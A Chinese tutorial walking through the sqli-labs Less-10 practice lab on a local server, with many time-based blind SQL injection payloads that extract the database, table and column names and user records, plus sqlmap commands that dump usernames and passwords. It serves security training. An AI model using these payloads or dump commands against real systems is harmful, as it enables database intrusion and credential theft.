sqli-labs:Less-10關卡詳細解析

1. 思路🚀

本關的SQL語句為:

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  • 注入類型:字符串型(雙引號包裹)
  • 提示:參數id需以"閉合

php回顯輸出語句的代碼如下:

if($row)
{echo '<font size="5" color="#FFFF00">';	echo 'You are in...........';echo "<br>";echo "</font>";
}

3種盲注,根據本關卡提示,選擇時間盲注:

  • 布爾盲注:邏輯判斷
  • 時間盲注:延時判斷 ?
  • 報錯盲注:報錯回顯

在這里插入圖片描述


2. 手工注入步驟🎯

我的地址欄是:http://localhost:8081/Less-10/,只需要將下面的sql語句粘貼即可。

2.1. 正常請求?

?id=10

在這里插入圖片描述

說明:測試回顯情況


2.2. 排查數據庫?

先排查數據庫的長度,再排查數據庫名字。數據庫名字已知是:security,剛開始時可以通過<=``>=不等號進行大致范圍的判斷。

# 先查長度
?id=1" and if(length(database())=8,sleep(5),sleep(1))  --+
# 再查名字
?id=1" and if(substr((database()),1,1)='s',sleep(5),sleep(1))  --+
?id=1" and if(substr((database()),2,1)='e',sleep(5),sleep(1))  --+
?id=1" and if(substr((database()),3,1)='c',sleep(5),sleep(1))  --+
?id=1" and if(substr((database()),4,1)='u',sleep(5),sleep(1))  --+
?id=1" and if(substr((database()),5,1)='r',sleep(5),sleep(1))  --+
?id=1" and if(substr((database()),6,1)='i',sleep(5),sleep(1))  --+
?id=1" and if(substr((database()),7,1)='t',sleep(5),sleep(1))  --+
?id=1" and if(substr((database()),8,1)='y',sleep(5),sleep(1))  --+
  • if(語句,真:執行,假:執行):真假判斷,效果和三目運算符一樣

在這里插入圖片描述


2.3. 排查表名?

# 查長度
?id=1" and if((select length(table_name) from information_schema.tables where table_schema=database() limit 3,1)=5,sleep(5),sleep(1))  --+
# 查名字
?id=1" and if(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 1, 1)='u',sleep(5),sleep(1))  --+
?id=1" and if(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 2, 1)='s',sleep(5),sleep(1))  --+
?id=1" and if(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 3, 1)='e',sleep(5),sleep(1))  --+
?id=1" and if(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 4, 1)='r',sleep(5),sleep(1))  --+
?id=1" and if(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 5, 1)='s',sleep(5),sleep(1))  --+

2.4. 排查字段?

我用sql語句查字段 ,依次顯示:idusernamepassword,但是索引映射:0→id1→password2→username
在這里插入圖片描述

# 查長度
?id=1" and if((select length(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1)=8,sleep(5),sleep(1))  --+
# 查名字
?id=1" and if(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 1, 1)='u',sleep(5),sleep(1))  --+
?id=1" and if(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 2, 1)='s',sleep(5),sleep(1))  --+
?id=1" and if(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 3, 1)='e',sleep(5),sleep(1))  --+
?id=1" and if(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 4, 1)='r',sleep(5),sleep(1))  --+
?id=1" and if(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 5, 1)='n',sleep(5),sleep(1))  --+
?id=1" and if(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 6, 1)='a',sleep(5),sleep(1))  --+
?id=1" and if(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 7, 1)='m',sleep(5),sleep(1))  --+
?id=1" and if(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 8, 1)='e',sleep(5),sleep(1))  --+

2.5. 獲取數據?

?id=1" and if(substr((select username from users limit 0,1), 1, 1)='D',sleep(5),sleep(1))  --+
?id=1" and if(substr((select username from users limit 0,1), 1, 1)='D',sleep(5),sleep(1))  --+
?id=1" and if(substr((select username from users limit 0,1), 1, 1)='D',sleep(5),sleep(1))  --+
?id=1" and if(substr((select username from users limit 0,1), 1, 1)='D',sleep(5),sleep(1))  --+

這是第一個用戶的賬號,以此類推,可以判斷出第二個用戶的賬號,第一個用戶的密碼等等。


2.6. 參數匯總表?

參數作用示例
"閉合符號id=1"
--+注釋符--+
length獲取長度length(database)
substr截取子串substr(str,x,1)
if真假判斷if(1,sleep(5),sleep(1))
information_schema系統數據庫from information_schema.tables
table_schema數據庫名稱table_schema='security'
table_name數據表名稱table_name='users'
column_name字段名稱group_concat(column_name)

3. SQLMap工具測試🎯

url地址換成自己的,后面一定要加上id=1,比如:http://localhost:8081/Less-10/?id=1

# 檢測注入點
python sqlmap.py -u "http://localhost:8081/Less-10/?id=1" --batch# 爆數據庫
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆數據
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch

命令1截圖:
在這里插入圖片描述

命令5截圖:
在這里插入圖片描述

SQLMap參數表?

參數功能
--batch非交互模式
--dbs枚舉數據庫
-D指定數據庫
-T指定表
-C指定列
--dump導出數據

4. 總結🏁

詳細的時間盲注解析,見文章"sqli-labs:Less-9關卡詳細解析":
https://blog.csdn.net/qq_62000508/article/details/149801083?spm=1011.2415.3001.5331
時間盲注和布爾盲注的實現大致一樣,無非在函數使用上的區別,詳細的函數介紹見第8關"sqli-labs:Less-8關卡詳細解析":
https://blog.csdn.net/qq_62000508/article/details/149797430?spm=1011.2415.3001.5331


聲明:本文僅用于安全學習,嚴禁非法測試! ???

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/91458.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/91458.shtml
英文地址,請注明出處:http://en.pswp.cn/web/91458.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

imx6ull-驅動開發篇5——新字符設備驅動實驗

目錄 前言 新字符設備驅動原理 申請設備號 注冊設備號 釋放設備號 注冊方法 字符設備結構cdev cdev_init 函數 cdev_add 函數 cdev_del 函數 自動創建設備節點 mdev 機制 類創建函數 類刪除函數 創建設備函數 刪除設備函數 設置文件私有數據 實驗程序編寫 l…

2025年最新SCI-灰熊增脂優化器(Grizzly Bear Fat Increase, GBF)-附完整Matlab免費代碼

1、簡介 本文介紹了一種新的受自然啟發的優化算法&#xff0c;稱為灰熊增脂優化器&#xff08;GBFIO&#xff09;。GBFIO算法模仿灰熊積累體脂為過冬做準備的自然行為&#xff0c;利用它們的狩獵、捕魚和吃草、蜂蜜等策略。因此&#xff0c;GBFIO算法建模并考慮了三個數學步驟來…

Python爬蟲02_Requests實戰網頁采集器

一、Request請求偽裝解析 #UA&#xff1a;User-Agent&#xff08;請求載體身份標識&#xff09; #UA檢測&#xff1a;門戶網站的服務器會檢測對應請求的載體身份標識&#xff0c;如果檢測到請求的載體身份呢標識為某一款瀏覽器&#xff0c;說明該請求是一個正常的請求&#xff…

vue+elementui實現問卷調查配置可單選、多選、解答

效果&#xff1a;<template> <div><el-form :inline"true" :model"form" :rules"rules" ref"ruleForm"> <el-tabs type"border-card" v-model"cardType"><el-tab-pane name"1&qu…

Docker初學者需要了解的幾個知識點(三):Docker引擎與Docker Desktop

Docker引擎與Docker Desktop簡單說&#xff1a;Docker 引擎是干活的 “核心工具”&#xff0c;負責實際創建、運行容器&#xff0c;就像汽車的發動機&#xff0c;沒它跑不起來。Docker Desktop是個 “套裝軟件”&#xff0c;它把 Docker 引擎打包進去了&#xff0c;還加了圖形化…

Python將Word轉換為Excel

現有大量的Word文檔&#xff0c;每個文檔中有大量的表格&#xff0c;需要將其轉換為Excel。 Python處理源碼 # 需要安裝pip install xlsxwriter import pandas as pd from docx import Document from pathlib import Path from datetime import datetimedef process_docx(filep…

攀爬誤報率↓82%!陌訊多模態算法在周界防護的實戰解析

?摘要?? 原創聲明 本文解析邊緣計算優化下陌訊視覺算法在攀爬識別場景的魯棒性提升&#xff0c;實測數據來自陌訊技術白皮書&#xff08;2025&#xff09;。針對傳統安防系統在復雜光影、姿態變化中的誤檢問題&#xff0c;重點闡述動態決策機制與輕量化部署方案&#xff0c;…

Redis 存在哪些問題

內存相關問題 1. 內存消耗大 無壓縮機制&#xff1a;數據以明文形式存儲&#xff0c;占用內存較大元數據開銷&#xff1a;每個key-value對都有額外的元數據開銷內存碎片&#xff1a;頻繁的更新操作可能產生內存碎片 2. 內存容量限制 單機容量受限&#xff1a;受限于單臺服務器的…

ECMAScript2025(ES16)新特性

概述 ECMAScript2025于2025年6月26日正式發布&#xff0c; 本文會介紹ECMAScript2025(ES16)&#xff0c;即ECMAScript的第16個版本的新特性。 以下摘自官網&#xff1a;ecma-262 ECMAScript 2025, the 16th edition, added a new Iterator global with associated static and…

Vim 編輯器工作模式及操作指南

Vim 編輯器工作模式及操作指南 一、工作模式概述 Vim編輯器主要包含四種工作模式&#xff0c;分別是&#xff1a; 命令模式&#xff08;默認進入模式&#xff09;輸入模式&#xff08;編輯模式&#xff09;末行模式&#xff08;指令模式&#xff09;可視模式 二、模式切換及操作…

Rabbitmq中常見7種模式介紹

p&#xff1a;生成者&#xff0c;生成消息的程序c&#xff1a;消費者&#xff0c;消費消息的程序Queue&#xff1a;消息隊列&#xff0c;用于緩存消息&#xff0c;生產者向里面投遞消息&#xff0c;消費者從里面拿取消息消費X&#xff1a;交換機&#xff0c;在rabbitMQ中&#…

SpringAI 1.0.0發布:打造企業級智能聊天應用

官方文檔 gitee的demo 1、前言 2025年5月&#xff0c;SpringAI 1.0.0終于正式發布。這不僅是另一個普通的庫&#xff0c;更是將Java和Spring推向AI革命前沿的戰略性舉措。給Java生態帶來了強大且全面的AI工程解決方案。眾多企業級應用在SpringBoot上運行關鍵業務&#xff0c…

全球各界關注與討論鴿姆智庫的多維視角分析?

【摘要】全球各界對鴿姆智庫的關注與討論主要集中在以下多維視角&#xff1a; 一、技術創新維度 ?通用思維框架&#xff08;GTF&#xff09;與中文智慧編程系統&#xff08;CWPS&#xff09;? GTF通過模擬人類格式塔認知&#xff0c;實現模式補全與圖形-背景分離功能&#xf…

1??4?? OOP:類、封裝、繼承、多態

文章目錄一、類與實例&#xff1a;從抽象到具體1?? 類&#xff08;Class&#xff09;&#xff1a;抽象的模板2?? 實例&#xff08;Instance&#xff09;&#xff1a;具體的對象3?? __init__ 方法&#xff1a;初始化實例屬性二、封裝&#xff1a;數據與邏輯的“打包”1??…

靜態鏈接 qt 失敗

配置靜態構建 qt 如下所示&#xff0c;執行配置的時候添加 -static 選項即可。 $skiped_modules ("qttools""qtdoc""qttranslations""qtlanguageserver""qtdeclarative""qtquicktimeline""qtquick3d"…

Qt 多線程界面更新策略

在Qt開發中&#xff0c;界面&#xff08;UI&#xff09;更新是高頻操作——無論是后臺任務的進度展示、傳感器數據的實時刷新&#xff0c;還是網絡消息的即時顯示&#xff0c;都需要動態更新界面元素。但Qt對UI操作有一個核心限制&#xff1a;所有UI組件的創建和更新必須在主線…

1.09---區塊鏈節點到底做了什么?從全節點到輕客戶端

鯤志博主出品 Web2 開發者的 Web3 修煉之路 ??【好看的靈魂千篇一律,有趣的鯤志一百六七!】- 歡迎認識我~~ 作者:鯤志說 (公眾號、B站同名,視頻號:鯤志說996) 科技博主:極星會 星輝大使 全棧研發:java、go、python、ts,前電商、現web3 主理人:COC杭州開發者…

Linux線程概念與控制(下)

目錄 前言 2.線程控制 1.驗證理論 2.引入pthread線程庫 3.linux線程控制的接口 3.線程id及進程地址空間布局 4.線程棧 前言 本篇是緊接著上一篇的內容&#xff0c;在有了相關線程概念的基礎之上&#xff0c;我們將要學習線程控制相關話題&#xff01;&#xff01; 2.線程…

力扣面試150題--只出現一次的數字

Day 91 題目描述## 思路 交換律&#xff1a;a ^ b ^ c <> a ^ c ^ b 任何數于0異或為任何數 0 ^ n > n 相同的數異或為0: n ^ n > 0 根據以上 很容易想到做法&#xff0c;將數組中所有的數異或起來&#xff0c;得到的就是只出現一次的數 class Solution {public in…

【運維基礎】Linux 進程調度管理

Linux 進程調度管理 進程調度器 現代計算機系統中既包含只有單個CPU且任何時候都只能處理單個指令的低端系統到具有幾百個cpu、每個cpu有多個核心的高性能超級計算機&#xff0c;可以并行執行幾百個指令。所有這些系統都有一個共同點&#xff1a;系統進程線程數量超出了CPU數量…